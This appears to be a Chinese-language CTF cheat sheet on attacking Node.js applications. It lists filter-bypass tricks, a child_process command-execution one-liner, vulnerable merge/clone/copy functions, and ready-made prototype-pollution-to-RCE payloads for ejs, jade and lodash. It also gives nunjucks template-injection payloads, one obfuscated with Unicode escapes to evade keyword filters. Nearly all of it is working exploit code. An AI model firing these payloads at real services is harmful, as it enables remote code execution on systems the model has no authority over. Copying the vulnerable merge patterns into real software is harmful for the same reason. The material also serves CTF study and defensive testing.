绕过
toUpperCase() / toLowerCase()
特殊字符
'ı'.toUpperCase()='I'
,'ſ'.toUpperCase()='S'
,'K'.toLowerCase()='k'
命令执行 (RCE)
1 2
| Object.values(require('child_process'))[5]('cat${IFS}/G*>p') require('child_process').spawnSync('nl',['p']).stdout.toString()
|
绕过
关键词
obj.contructor
:obj["contr"+"uctor"]
,obj["constru".concat("ctor")]
,String.fromCharCode(xxx)
this
:eval("th"+"is")
__proto__
:constructor.prototype
原型链污染
原理
对于语句 object[a][b] = value
如果可以控制a, b, value的值,将a设置为 __proto__
, 就可以给object对象的原型设置一个b属性,值为value,这样所有继承object对象原型的实例对象会在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
常用污染函数
merge()
1 2 3 4 5 6 7 8 9
| function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
|
clone()
1 2 3
| function clone(obj) { return merge({}, obj); }
|
copy()
1 2 3 4 5 6 7 8 9
| function copy(object1, object2){ for (let key in object2) { if (key in object2 && key in object1) { copy(object1[key], object2[key]) } else { object1[key] = object2[key] } } }
|
常见模板引擎
ejs
1 2 3 4 5 6 7 8 9 10
| {"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('id'); //"}}}
{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('id'); __tmp2"}}}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('id');","compileDebug":true}}}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('id');","compileDebug":true,"debug":true}}}
SSTI <%- global.process.mainModule.require('child_process').execSync('id') %>
|
jade
1
| {"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}
|
lodash
1
| {"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('dir',function(){});"}}
|
nunjucks
1 2 3 4 5 6 7 8 9 10 11
| {{range.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('ls /').toString()")()}}
{{'string'.toString.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}}
{{'string'.constructor.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}}
绕过: (使用unicode编码和`+`字符串拼接绕过关键字的过滤,用 `[]` 来绕过 `.`) {{"string"["toSt"+"ring"]["const"+"ructor"]("return(global[\"\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\"][\"\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\"][\"\\u0072\\u0065\\u0071\\u0075\\u0069\\u0072\\u0065\"](\"\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\")[\"\\u0065\\u0078\\u0065\\u0063\\u0053\\u0079\\u006e\\u0063\"](\"id\")[\"\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\"]())")()}}
|